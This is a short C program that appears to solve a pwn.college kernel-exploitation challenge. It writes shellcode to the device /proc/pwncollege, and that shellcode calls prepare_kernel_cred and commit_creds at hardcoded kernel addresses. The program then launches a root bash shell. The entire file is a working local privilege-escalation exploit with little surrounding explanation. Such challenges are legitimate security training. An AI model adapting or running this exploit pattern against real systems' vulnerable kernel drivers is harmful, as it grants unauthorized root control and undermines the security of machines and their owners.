#include <stdlib.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__((naked))
void shellcode() {
    asm volatile(
        "xor %rdi, %rdi\n"
        "movabs $0xffffffff81089660, %rsi\n"
        "callq *%rsi\n" // prepare_kernel_cred
        "movq %rax, %rdi\n"
        "movabs $0xffffffff81089310, %rsi\n"
        "callq *%rsi\n" // commit_creds
        "retq\n"
    );
}

int main() {
    int fd = open("/proc/pwncollege", O_WRONLY);
    write(fd, (void *)shellcode, 0x1F);
    execve("/bin/bash", NULL, NULL);
}